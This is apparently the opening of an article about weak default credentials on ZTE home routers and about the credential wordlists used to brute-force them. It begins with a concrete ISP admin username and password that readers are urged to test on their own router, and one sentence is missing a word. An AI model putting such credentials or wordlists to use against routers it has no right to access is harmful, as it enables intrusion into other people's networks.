If you are reading this and you have a ZTE router, open a browser, type 192.168.1.1 , and try telecomadmin:nE7jA%5m . If you get in, your network is compromised. Change the password now.

Introduction In the world of network penetration testing and hardware auditing, one name consistently appears in the logs of low-income households, small businesses, and developing ISPs: ZTE .

ZTE Corporation, a major Chinese telecommunications equipment manufacturer, supplies millions of routers and modems worldwide. From the ZXHN H108N to the MF289F, these devices form the backbone of internet connectivity for a substantial portion of the global population. However, they also present a unique vector for attack—specifically, weak default credentials.

This is where the concept of the becomes critical. A "wordlist" in cybersecurity is a curated file of usernames and passwords used for brute-force attacks or credential stuffing. For ZTE routers, this wordlist is not just a collection of "admin/admin" entries; it includes algorithmic backdoors, hidden service accounts, and ISP-specific factory resets.
